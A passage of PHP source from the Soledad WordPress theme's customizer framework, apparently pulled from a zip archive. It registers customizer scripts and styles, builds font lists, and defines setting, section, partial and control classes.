		$src       = PENCI_URL . '/assets/js/customizer-control/control-image.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-upload-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-upload.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-spacing-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-spacing.js';
		$deps      = array( 'soledad-fw-default-control', 'soledad-fw-validate-css' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-repeater-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-repeater.js';
		$deps      = array(
			'soledad-fw-default-control',
			'jquery-ui-sortable',
			'wp-color-picker',
			'selectize',
			'serialize-js',
		);
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-typography-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-typography.js';
		$deps      = array( 'soledad-fw-default-control', 'selectize', 'wp-color-picker-alpha' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-gradient-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-gradient.js';
		$deps      = array( 'soledad-fw-default-control', 'selectize', 'wp-color-picker-alpha' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-size';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-size.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-box-model';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-box-model.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-button';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-button.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-code';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-code.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-multi-check';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-multi-check.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		// ... Section
		$handle    = 'soledad-fw-default-section';
		$src       = PENCI_URL . '/assets/js/customizer-section/default-section.js';
		$deps      = array( 'jquery' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-link-section';
		$src       = PENCI_URL . '/assets/js/customizer-section/link-section.js';
		$deps      = array( 'jquery' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-lazy-section';
		$src       = PENCI_URL . '/assets/js/customizer-section/lazy-section.js';
		$deps      = array(
			'jquery',
			'underscore',
			'soledad-fw-default-section',
			'soledad-fw-alert-control',
			'soledad-fw-header-control',
			'soledad-fw-color-control',
			'soledad-fw-toggle-control',
			'soledad-fw-slider-control',
			'soledad-fw-number-control',
			'soledad-fw-select-control',
			'soledad-fw-ajax-select-control',
			'soledad-fw-range-slider-control',
			'soledad-fw-radio-image-control',
			'soledad-fw-radio-buttonset-control',
			'soledad-fw-preset-control',
			'soledad-fw-preset-image-control',
			'soledad-fw-text-control',
			'soledad-fw-textarea-control',
			'soledad-fw-radio-control',
			'soledad-fw-image-control',
			'soledad-fw-upload-control',
			'soledad-fw-spacing-control',
			'soledad-fw-repeater-control',
			'soledad-fw-typography-control',
			'soledad-fw-gradient-control',
			'soledad-fw-size',
			'soledad-fw-box-model',
			'soledad-fw-button',
			'soledad-fw-code',
			'soledad-fw-multi-check'
		);
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		// ... Connect To Previewer
		$handle    = 'soledad-fw-previewer-sync';
		$src       = PENCI_URL . '/assets/js/customizer/previewer-sync.js';
		$deps      = array(
			'underscore',
			'customize-controls',
		);
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );
	}

	/**
	 * Load css on Customizer Panel
	 */
	public function customizer_styles() {
		wp_enqueue_style( 'selectize', PENCI_URL . '/assets/css/selectize.default.css', null, $this->version );
		wp_enqueue_style( 'soledad-fw-customizer-css', PENCI_URL . '/assets/css/customizer.css', array( 'wp-color-picker' ), $this->version );
		wp_enqueue_style( 'codemirror', PENCI_URL . '/assets/js/vendor/codemirror/lib/codemirror.css', null, $this->version );
		wp_enqueue_style( 'font-awesome', PENCI_URL . '/assets/font/font-awesome/font-awesome.css', null, $this->version );

		wp_enqueue_style( 'ion-range-slider', PENCI_URL . '/assets/css/ion.rangeSlider.css', null, $this->version );
		wp_enqueue_style( 'ion-range-slider-skin', PENCI_URL . '/assets/css/ion.rangeSlider.skinFlat.css', null, $this->version );

		if ( is_rtl() ) {
			wp_enqueue_style( 'soledad-fw-customizer-css-rtl', PENCI_URL . '/assets/css/customizer-rtl.css', null, $this->version );
		}
	}

	public function load_all_font( $load_google = true ) {
		$standard_fonts = penci_font_browser();
		$all_variants   = array(
			'100'       => esc_attr__( 'Ultra-Light 100', 'soledad' ),
			'100italic' => esc_attr__( 'Ultra-Light 100 Italic', 'soledad' ),
			'200'       => esc_attr__( 'Light 200', 'soledad' ),
			'200italic' => esc_attr__( 'Light 200 Italic', 'soledad' ),
			'300'       => esc_attr__( 'Book 300', 'soledad' ),
			'300italic' => esc_attr__( 'Book 300 Italic', 'soledad' ),
			'regular'   => esc_attr__( 'Normal 400', 'soledad' ),
			'italic'    => esc_attr__( 'Normal 400 Italic', 'soledad' ),
			'500'       => esc_attr__( 'Medium 500', 'soledad' ),
			'500italic' => esc_attr__( 'Medium 500 Italic', 'soledad' ),
			'600'       => esc_attr__( 'Semi-Bold 600', 'soledad' ),
			'600italic' => esc_attr__( 'Semi-Bold 600 Italic', 'soledad' ),
			'700'       => esc_attr__( 'Bold 700', 'soledad' ),
			'700italic' => esc_attr__( 'Bold 700 Italic', 'soledad' ),
			'800'       => esc_attr__( 'Extra-Bold 800', 'soledad' ),
			'800italic' => esc_attr__( 'Extra-Bold 800 Italic', 'soledad' ),
			'900'       => esc_attr__( 'Ultra-Bold 900', 'soledad' ),
			'900italic' => esc_attr__( 'Ultra-Bold 900 Italic', 'soledad' ),
		);

		$standard_fonts_final = array();
		foreach ( $standard_fonts as $key => $value ) {
			$standard_fonts_final[] = array(
				'family'      => $key,
				'label'       => $value,
				'subsets'     => array(),
				'is_standard' => true,
				'variants'    => array(
					array(
						'id'    => 'regular',
						'label' => $all_variants['regular'],
					),
					array(
						'id'    => 'italic',
						'label' => $all_variants['italic'],
					),
					array(
						'id'    => '700',
						'label' => $all_variants['700'],
					),
					array(
						'id'    => '700italic',
						'label' => $all_variants['700italic'],
					),
				),
				'type'        => 'native',
			);
		}
		/* Load google only for font options in customizer and not load google fonts for local variabel in style output preview js */
		if ( $load_google ) {
			$google_fonts       = penci_list_google_fonts_array();
			$all_subsets        = array(
				'cyrillic'     => esc_attr__( 'Cyrillic', 'soledad' ),
				'cyrillic-ext' => esc_attr__( 'Cyrillic Extended', 'soledad' ),
				'devanagari'   => esc_attr__( 'Devanagari', 'soledad' ),
				'greek'        => esc_attr__( 'Greek', 'soledad' ),
				'greek-ext'    => esc_attr__( 'Greek Extended', 'soledad' ),
				'khmer'        => esc_attr__( 'Khmer', 'soledad' ),
				'latin-ext'    => esc_attr__( 'Latin Extended', 'soledad' ),
				'vietnamese'   => esc_attr__( 'Vietnamese', 'soledad' ),
				'hebrew'       => esc_attr__( 'Hebrew', 'soledad' ),
				'arabic'       => esc_attr__( 'Arabic', 'soledad' ),
				'bengali'      => esc_attr__( 'Bengali', 'soledad' ),
				'gujarati'     => esc_attr__( 'Gujarati', 'soledad' ),
				'tamil'        => esc_attr__( 'Tamil', 'soledad' ),
				'telugu'       => esc_attr__( 'Telugu', 'soledad' ),
				'thai'         => esc_attr__( 'Thai', 'soledad' ),
			);
			$google_fonts_final = array();
			foreach ( $google_fonts as $args => $family ) {
				$font_data = explode( ', ', $args );
				$label    = $family;
				$variants = ( isset( $font_data[1] ) ) ? explode( ':', $font_data[1] ) : array( 'regular', '700' );
				$subsets  = ( isset( $args['subsets'] ) ) ? $args['subsets'] : array();

				$available_variants = array();
				foreach ( $variants as $variant ) {
					if ( array_key_exists( $variant, $all_variants ) ) {
						$available_variants[] = array(
							'id'    => $variant,
							'label' => $all_variants[ $variant ],
						);
					}
				}

				$available_subsets = array();
				foreach ( $subsets as $subset ) {
					if ( array_key_exists( $subset, $all_subsets ) ) {
						$available_subsets[] = array(
							'id'    => $subset,
							'label' => $all_subsets[ $subset ],
						);
					}
				}

				$google_fonts_final[] = array(
					'family'   => $family,
					'label'    => $label,
					'variants' => $available_variants,
					'subsets'  => $available_subsets,
				);
			}
			return apply_filters( 'soledad_font_typography', array_merge( $standard_fonts_final, $google_fonts_final ) );

		}
		return apply_filters( 'soledad_font_typography', $standard_fonts_final );
	}

	/**
	 * Load script on Customizer Panel
	 */
	public function enqueue_control_script() {
		wp_enqueue_script( 'soledad-fw-customizer-late-init' );
		wp_enqueue_script( 'soledad-fw-active-callback' );
		wp_enqueue_script( 'soledad-fw-previewer-sync' );
		wp_enqueue_script( 'soledad-fw-lazy-section' );
		wp_enqueue_script( 'soledad-fw-link-section' );

		if ( ! isset( $_REQUEST['layout_id'] ) ) {
			wp_enqueue_script( 'soledad-fw-search-customizer' );
		}

		wp_localize_script(
			'soledad-fw-typography-control',
			'soledadAllFonts',
			$this->load_all_font( true )
		);

		wp_enqueue_script( 'soledad-fw-extend-widget' );

		wp_localize_script( 'soledad-fw-lazy-section', 'lazySetting', array(
			'ajaxUrl' => add_query_arg( array( $this->endpoint => 'soledad' ), esc_url( home_url( '/', 'relative' ) ) ),
			'nonce'   => wp_create_nonce( $this->endpoint ),
		) );

		wp_localize_script( 'soledad-fw-search-customizer', 'searchSetting', array(
			'ajaxUrl' 		=> add_query_arg( array( $this->endpoint => 'soledad' ), esc_url( home_url( '/', 'relative' ) ) ),
			'nonce'   		=> wp_create_nonce( $this->endpoint ),
			'noResult'   	=> __( '<p>No results found.</p><p>Please try again with a different keyword.</p><div class="pccsz-help-buttons"><a target="_blank" href="https://soledad.pencidesign.net/soledad-document/">View Theme Document</a><a target="_blank" href="https://pencidesign.ticksy.com/">Support Forum</a></div>', 'soledad' ),
		) );

		wp_localize_script( 'soledad-fw-previewer-sync', 'partialSetting', array(
			'patternTemplate' => Lazy_Partial::js_pattern_template(),
		) );

		wp_localize_script( 'soledad-fw-extend-widget', 'widgetLang', array(
			'title' => esc_html__( 'Notice', 'soledad' ),
			'words' => array(
				esc_html__( 'To improve customizer load speed, we disable widget option on customizer for element.', 'soledad' ),
				esc_html__( 'You can still modify widget content from Widget Panel on Admin Page', 'soledad' ),
			),
		) );
	}

	/**
	 * Load script at Customizer Preview
	 */
	public function previewer_script() {
		$wp_scripts = wp_scripts();

		// ... Customizer Preview Script
		$handle    = 'soledad-fw-customizer-preview';
		$src       = PENCI_URL . '/assets/js/customizer/customizer-preview.js';
		$deps      = array(
			'underscore',
			'customize-preview',
		);
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-customizer-partial-preview';
		$src       = PENCI_URL . '/assets/js/customizer/partial-refresh-preview.js';
		$deps      = array(
			'jquery',
			'underscore',
			'customize-preview',
		);
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'vex';
		$src       = PENCI_URL . '/assets/js/customizer/vex.combined.min.js';
		$deps      = array(
			'jquery',
		);
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );


		$handle    = 'soledad-fw-customizer-redirect-tag-preview';
		$src       = PENCI_URL . '/assets/js/customizer/redirect-tag-preview.js';
		$deps      = array(
			'vex',
			'jquery',
			'underscore',
			'customize-preview',
		);
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		// enqueue script.
		wp_enqueue_script( 'soledad-fw-customizer-preview' );
		wp_enqueue_script( 'soledad-fw-customizer-partial-preview' );

		// ... Load style
		wp_enqueue_style( 'vex', PENCI_URL . '/assets/css/vex.css', null, $this->version );
		wp_enqueue_style( 'theme-customizer', PENCI_URL . '/assets/css/theme-customizer.css', null, $this->version );
	}
}
PK     N\zA*  *  F  inc/customizer/framework/customizer/setting/class-repeater-setting.phpnu [        <?php
/**
 * Customizer Setting: Repeater Setting
 *
 * @copyright   Copyright (c) 2017, Aristeides Stathopoulos
 * @license     https://opensource.org/licenses/MIT
 * @author      Aristath
 * @author      SoledadFWtheme
 */

namespace SoledadFW\Customizer\Setting;

/**
 * Repeater Settings.
 */
class Repeater_Setting extends Default_Setting {

	/**
	 * Constructor.
	 *
	 * Any supplied $args override class property defaults.
	 *
	 * @access public
	 *
	 * @param \WP_Customize_Manager $manager The WordPress WP_Customize_Manager object.
	 * @param string                $id A specific ID of the setting. Can be a theme mod or option name.
	 * @param array                 $args Setting arguments.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		parent::__construct( $manager, $id, $args );

		// Will onvert the setting from JSON to array. Must be triggered very soon.
		add_filter( "customize_sanitize_{$this->id}", array( $this, 'sanitize_repeater_setting' ), 10, 1 );
		add_filter( "customize_value_{$this->id}", array( $this, 'sanitize_repeater_setting' ), 10, 1 );
	}

	/**
	 * Fetch the value of the setting.
	 *
	 * @access public
	 * @return mixed The value.
	 */
	public function value() {
		$value = parent::value();
		$value = $this->sanitize_repeater_setting( $value );

		if ( ! is_array( $value ) ) {
			$value = array();
		}

		return $value;
	}

	/**
	 * Convert the JSON encoded setting coming from Customizer to an Array.
	 *
	 * @param string $value URL Encoded JSON Value.
	 *
	 * @return array
	 */
	public function sanitize_repeater_setting( $value ) {

		if ( ! is_array( $value ) ) {
			$value = json_decode( urldecode( $value ) );
		}
		$sanitized = ( empty( $value ) || ! is_array( $value ) ) ? array() : $value;

		// Make sure that every row is an array, not an object.
		foreach ( $sanitized as $key => $_value ) {
			if ( empty( $_value ) ) {
				unset( $sanitized[ $key ] );
			} else {
				$sanitized[ $key ] = (array) $_value;
			}
		}

		// Reindex array.
		$sanitized = array_values( $sanitized );

		return $sanitized;

	}
}
PK     N\Rc	  	  E  inc/customizer/framework/customizer/setting/class-default-setting.phpnu [        <?php
/**
 * @author      SoledadFWtheme
 * @license     https://opensource.org/licenses/MIT
 */

namespace SoledadFW\Customizer\Setting;

/**
 * Default Settings
 */
class Default_Setting extends \WP_Customize_Setting {
	/**
	 * setting(section)(id)
	 * @var string pattern
	 */
	public static $lazy_pattern = '/^setting\((?P<section>[^\)]+)\)\((?P<id>[^\)]+)\)$/';

	/**
	 * Pattern for javascript
	 * @var string
	 */
	public static $lazy_js_pattern = 'setting\(([^)]+)\)\(([^)]+)\)';

	/**
	 * Create setting base on setting pattern
	 *
	 * @param $section
	 * @param $id
	 *
	 * @return string
	 */
	public static function create_lazy_setting( $section, $id ) {
		return "setting({$section})({$id})";
	}

	/**
	 * Constructor.
	 *
	 * Any supplied $args override class property defaults.
	 *
	 * @since 3.4.0
	 *
	 * @param \WP_Customize_Manager $manager
	 * @param string                $id An specific ID of the setting. Can be a
	 *                                      theme mod or option name.
	 *
	 * @param array $args Setting arguments.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		$keys = array_keys( get_object_vars( $this ) );
		foreach ( $keys as $key ) {
			if ( isset( $args[ $key ] ) ) {
				$this->$key = $args[ $key ];
			}
		}

		$this->manager = $manager;
		$this->id      = $id;

		// Parse the ID for array keys.
		if ( preg_match( self::$lazy_pattern, $this->id, $matches ) ) {
			$id = $matches['id'];
		}

		$this->id_data['keys'] = preg_split( '/\[/', str_replace( ']', '', $id ) );
		$this->id_data['base'] = array_shift( $this->id_data['keys'] );

		if ( $this->validate_callback ) {
			add_filter( "customize_validate_{$this->id}", $this->validate_callback, 10, 3 );
		}
		if ( $this->sanitize_callback ) {
			add_filter( "customize_sanitize_{$this->id}", $this->sanitize_callback, 10, 2 );
		}
		if ( $this->sanitize_js_callback ) {
			add_filter( "customize_sanitize_js_{$this->id}", $this->sanitize_js_callback, 10, 2 );
		}

		if ( 'option' === $this->type || 'theme_mod' === $this->type ) {
			// Other setting types can opt-in to aggregate multidimensional explicitly.
			$this->aggregate_multidimensional();

			// Allow option settings to indicate whether they should be autoloaded.
			if ( 'option' === $this->type && isset( $args['autoload'] ) ) {
				self::$aggregated_multidimensionals[ $this->type ][ $this->id_data['base'] ]['autoload'] = $args['autoload'];
			}
		}
	}
}
PK     N\ڶTW  W  E  inc/customizer/framework/customizer/setting/class-spacing-setting.phpnu [        <?php
/**
 * Customizer Setting: Spacing Setting
 *
 * @copyright   Copyright (c) 2017, Aristeides Stathopoulos
 * @license     https://opensource.org/licenses/MIT
 * @author      Aristath
 * @author      SoledadFWtheme
 */

namespace SoledadFW\Customizer\Setting;

/**
 * Repeater Settings.
 */
class Spacing_Setting extends Default_Setting {

	/**
	 * Constructor.
	 *
	 * Any supplied $args override class property defaults.
	 *
	 * @access public
	 *
	 * @param \WP_Customize_Manager $manager The WordPress WP_Customize_Manager object.
	 * @param string                $id A specific ID of the setting. Can be a theme mod or option name.
	 * @param array                 $args Setting arguments.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		parent::__construct( $manager, $id, $args );

		// Will onvert the setting from JSON to array. Must be triggered very soon.
		add_filter( "customize_sanitize_{$this->id}", array( $this, 'sanitize_spacing_setting' ), 10, 1 );
	}

	/**
	 * Fetch the value of the setting.
	 *
	 * @access public
	 * @return mixed The value.
	 */
	public function value() {
		$value = parent::value();
		$value = $this->sanitize_spacing_setting( $value );

		if ( ! is_array( $value ) ) {
			$value = array();
		}

		return $value;
	}

	/**
	 * Convert the JSON encoded setting coming from Customizer to an Array.
	 *
	 * @access public
	 *
	 * @param string $value URL Encoded JSON Value.
	 *
	 * @return array
	 */
	public function sanitize_spacing_setting( $value ) {
		if ( ! is_array( $value ) ) {
			$value = json_decode( $value, true );
		}

		return $value;
	}
}
PK     N\9um  m  =  inc/customizer/framework/customizer/class-active-callback.phpnu [        <?php
/**
 * @author      SoledadFWtheme
 * @license     https://opensource.org/licenses/MIT
 */

namespace SoledadFW\Customizer;

use SoledadFW\Util\Setting;

class Active_Callback {

	/**
	 * @var Active_Callback
	 */
	private static $instance;

	/**
	 * @var bool
	 */
	private $active_flag = true;

	/**
	 * @var Customizer
	 */
	private $customizer;

	/**
	 * @return Active_Callback
	 */
	public static function get_instance() {
		if ( null === static::$instance ) {
			static::$instance = new static();
		}

		return static::$instance;
	}

	/**
	 * Get Customizer Instance
	 *
	 * @return Customizer
	 */
	public function get_customizer() {
		if ( null === $this->customizer ) {
			$this->customizer = Customizer::get_instance();
		}

		return $this->customizer;
	}

	/**
	 * @param $option
	 *
	 * @return mixed|void
	 */
	public function get_option( $option ) {
		$data = explode( '[', rtrim( $option, ']' ) );

		if ( 1 === count( $data ) ) {
			return get_option( $option );
		} else {
			$option = get_option( $data[0] );

			return $option[ $data[1] ];
		}
	}

	/**
	 * Figure out whether the current object should be displayed or not.
	 *
	 * @param array
	 *
	 * @return boolean
	 */
	public function evaluate( $active_callback ) {
		$this->active_flag = true;
		$fields            = $this->get_customizer()->get_fields();

		foreach ( $active_callback as $active ) {
			$field = $fields[ $active['setting'] ];
			$type  = isset( $field['option_type'] ) ? $field['option_type'] : '';

			if ( 'option' === $type ) {
				$current_setting = $this->get_option( $active['setting'] );
			} else {
				$current_setting = Setting::get( $active['setting'] );
			}

			$this->active_flag = $this->active_flag && $this->compare( $active['value'], $current_setting, $active['operator'] );
		}

		return $this->active_flag;
	}

	/**
	 * Evaluate by id
	 *
	 * @param string $id Setting ID to evaluate.
	 *
	 * @return bool
	 */
	public function evaluate_by_id( $id ) {
		$this->active_flag = true;

		$fields = $this->get_customizer()->get_all_fields();

		if ( isset( $fields[ $id ] ) ) {
			$field = $fields[ $id ];

			if ( isset( $field['active_callback'] ) ) {
				$active_callback = $field['active_callback'];

				foreach ( $active_callback as $active ) {
					$current_setting   = Setting::get( $active['setting'], $fields[ $active['setting'] ]['default'] );
					$this->active_flag = $this->active_flag && $this->compare( $active['value'], $current_setting, $active['operator'] );
				}
			}
		}

		return $this->active_flag;
	}

	/**
	 * Compares the 2 values given the condition
	 *
	 * @param mixed $value1 The 1st value in the comparison.
	 * @param mixed $value2 The 2nd value in the comparison.
	 * @param string $operator The operator we'll use for the comparison.
	 *
	 * @return boolean whether The comparison has succeded (true) or failed (false).
	 */
	public function compare( $value1, $value2, $operator ) {
		switch ( $operator ) {
			case '===':
				$show = ( $value1 === $value2 ) ? true : false;
				break;
			case '==':
			case '=':
			case 'equals':
			case 'equal':
				$show = ( $value1 === $value2 ) ? true : false;
				break;
			case '!==':
				$show = ( $value1 !== $value2 ) ? true : false;
				break;
			case '!=':
			case 'not equal':
				$show = ( $value1 !== $value2 ) ? true : false;
				break;
			case '>=':
			case 'greater or equal':
			case 'equal or greater':
				$show = ( $value1 >= $value2 ) ? true : false;
				break;
			case '<=':
			case 'smaller or equal':
			case 'equal or smaller':
				$show = ( $value1 <= $value2 ) ? true : false;
				break;
			case '>':
			case 'greater':
				$show = ( $value1 > $value2 ) ? true : false;
				break;
			case '<':
			case 'smaller':
				$show = ( $value1 < $value2 ) ? true : false;
				break;
			case 'contains':
			case 'in':
				if ( is_array( $value1 ) && ! is_array( $value2 ) ) {
					$array  = $value1;
					$string = $value2;
				} elseif ( is_array( $value2 ) && ! is_array( $value1 ) ) {
					$array  = $value2;
					$string = $value1;
				}
				if ( isset( $array ) && isset( $string ) ) {
					if ( ! in_array( $string, $array, true ) ) {
						$show = false;
					}
				} else {
					if ( false === strrpos( $value1, $value2 ) && false === strpos( $value2, $value1 ) ) {
						$show = false;
					}
				}
				break;
			default:
				$show = ( $value1 === $value2 ) ? true : false;

		}

		if ( isset( $show ) ) {
			return $show;
		}

		return true;
	}

}
PK     N\
      D  inc/customizer/framework/customizer/section/class-helper-section.phpnu [        <?php
/**
 * @author      SoledadFWtheme
 * @license     https://opensource.org/licenses/MIT
 */
namespace SoledadFW\Customizer\Section;

/**
 * Default Settings
 */
class Helper_Section extends \WP_Customize_Section {}

PK     N\)+      E  inc/customizer/framework/customizer/section/class-default-section.phpnu [        <?php
/**
 * @author      SoledadFWtheme
 * @license     https://opensource.org/licenses/MIT
 */
namespace SoledadFW\Customizer\Section;

/**
 * Default Settings
 */
class Default_Section extends \WP_Customize_Section {}
PK     N\
66    B  inc/customizer/framework/customizer/section/class-link-section.phpnu [        <?php
/**
 * @author      SoledadFWtheme
 * @license     https://opensource.org/licenses/MIT
 */

namespace SoledadFW\Customizer\Section;

use Error;

class Link_Section extends Default_Section {
	const TYPE = 'link';

	/**
	 * Type of control, used by JS.
	 *
	 * @access public
	 * @var string
	 */
	public $type = self::TYPE;

	public $url = '';

	public $label = '';

	/**
	 * Render the panel's JS templates.
	 *
	 * This function is only run for panel types that have been registered with
	 * WP_Customize_Manager::register_panel_type().
	 *
	 * @see WP_Customize_Manager::register_panel_type()
	 */
	public function render_template() {
		?>
		<li id="accordion-section-{{ data.id }}" class="accordion-section control-section control-section-{{ data.type }} cannot-expand {{ data.additional_class }}">
			<h3 class="accordion-section-title">
				<a href="{{{ data.url }}}" target="_blank" data-label="{{ data.label }}">
					<span>{{ data.title }}</span>
					<# if ( 'string' === typeof data.additional_class && 'locked' === data.additional_class ) { #>
						<button class="activate-license" >Activate</button>
					<# } #>
				</a>
			</h3>
		</li>
		<?php
	}

	/**
	 * Export data to JS.
	 *
	 * @return array
	 */
	public function json() {
		$data                     = parent::json();
		$data['url']              = esc_url( $this->url );
		$data['additional_class'] = 'activate-license' === $this->url ? 'locked' : '';
		$data['url']              = ! empty( $data['additional_class'] ) ? esc_url( get_admin_url() ) : $data['url'];

		return $data;
	}
}
PK     N\$]  ]  B  inc/customizer/framework/customizer/section/class-lazy-section.phpnu [        <?php
/**
 * @author      SoledadFWtheme
 * @license     https://opensource.org/licenses/MIT
 */

namespace SoledadFW\Customizer\Section;

/*****
 * Lazy section
 */
class Lazy_Section extends Default_Section {
	const TYPE = 'lazy';

	/**
	 * Type of control, used by JS.
	 *
	 * @access public
	 * @var string
	 */
	public $type = self::TYPE;

	public $ajax_call;

	public $dependency;

	/**
	 * Render the panel's JS templates.
	 *
	 * This function is only run for panel types that have been registered with
	 * WP_Customize_Manager::register_panel_type().
	 *
	 * @see WP_Customize_Manager::register_panel_type()
	 */
	public function print_template() {
		?>
		<script type="text/html" id="tmpl-customize-lazy-section-loading">
			<li class="customize-lazy-section-loading">
				<div class="loader">{{ data.loading }}</div>
			</li>
		</script>
		<?php
		parent::print_template();
	}

	/**
	 * Export data to JS.
	 *
	 * @return array
	 */
	public function json() {
		$data               = parent::json();
		$data['ajax_call']  = $this->ajax_call;
		$data['dependency'] = $this->dependency;

		return $data;
	}
}
PK     N\m2    B  inc/customizer/framework/customizer/partial/class-lazy-partial.phpnu [        <?php
/**
 * @author      SoledadFWtheme
 * @license     https://opensource.org/licenses/MIT
 */

namespace SoledadFW\Customizer\Partial;

/**
 * Default Settings
 */
class Lazy_Partial extends \WP_Customize_Partial {

	/**
	 * Pattern : partial(section)(id)
	 *
	 * @var string pattern
	 */
	public static $pattern = '/^partial\((?P<section>[^\)]+)\)\((?P<id>[^\)]+)\)$/';

	/**
	 * Pattern to be replaced in javascript
	 */
	public static function js_pattern_template() {
		return 'partial({section})({id})';
	}
}
PK     N\dwF.  .  :  inc/customizer/framework/customizer/control/class-code.phpnu [        <?php

namespace SoledadFW\Customizer\Control;
class Code extends Control_Abstract {

	/**
	 * Customize control type.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $type = 'soledad-fw-code';

	/**
	 * Type of code that is being edited.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $code_type = '';

	/**
	 * Code editor settings.
	 *
	 * @see wp_enqueue_code_editor()
	 * @since 4.9.0
	 * @var array|false
	 */
	public $editor_settings = array();

	/**
	 * Enqueue control related scripts/styles.
	 *
	 * @since 4.9.0
	 */
	public function enqueue() {
		$this->editor_settings = wp_enqueue_code_editor(
			array_merge(
				array(
					'type'       => $this->code_type,
					'codemirror' => array(
						'indentUnit' => 2,
						'tabSize'    => 2,
					),
				),
				$this->editor_settings
			)
		);
	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 4.9.0
	 *
	 * @see WP_Customize_Control::json()
	 *
	 * @return array Array of parameters passed to the JavaScript.
	 */
	public function to_json() {
		$this->enqueue();
		parent::to_json();
		$this->json['editor_settings'] = $this->editor_settings;
		$this->json['input_attrs']     = $this->input_attrs;
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 *
	 * @since 4.9.0
	 */
	public function render_content() {}

	/**
	 * Render a JS template for control display.
	 *
	 * @since 4.9.0
	 */
	public function content_template() {
		?>
		<# var elementIdPrefix = 'el' + String( Math.random() ); #>
		<# if ( data.label ) { #>
			<label for="{{ elementIdPrefix }}_editor" class="customize-control-title">
				{{ data.label }}
			</label>
		<# } #>
		<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>
		<div class="customize-control-notifications-container"></div>
		<textarea id="{{ elementIdPrefix }}_editor"
			<# _.each( _.extend( { 'class': 'code' }, data.input_attrs ), function( value, key ) { #>
				{{{ key }}}="{{ value }}"
			<# }); #>
			></textarea>
		<?php
	}
}
PK     N\<dT  T  ;  inc/customizer/framework/customizer/control/class-radio.phpnu [        <?php
/**
 * Customizer Control: radio.
 *
 * Creates a radio
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Slider control (range).
 */
class Radio extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-radio';

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<span class="customize-control-title">
			{{{ data.label }}}
		</span>
		<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>
		<# for ( key in data.choices ) { #>
			<span class="customize-inside-control-row">
				<input id="_customize-input-{{ data.id }}-{{ key }}" type="radio" value="{{ key }}" name="_customize-radio-{{{ data.id }}}" id="{{ data.id }}{{ key }}" {{{ data.link }}}<# if ( key === data.value ) { #> checked="checked" <# } #>/>
				<label for="_customize-input-{{ data.id }}-{{ key }}">
					{{ data.choices[ key ] }}
				</label>
			</span>
		<# } #>
		<?php
	}
}
PK     N\U    :  inc/customizer/framework/customizer/control/class-text.phpnu [        <?php
/**
 * Customizer Control: text.
 *
 * Creates a text
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Slider control (range).
 */
class Text extends Control_Abstract {

	/**
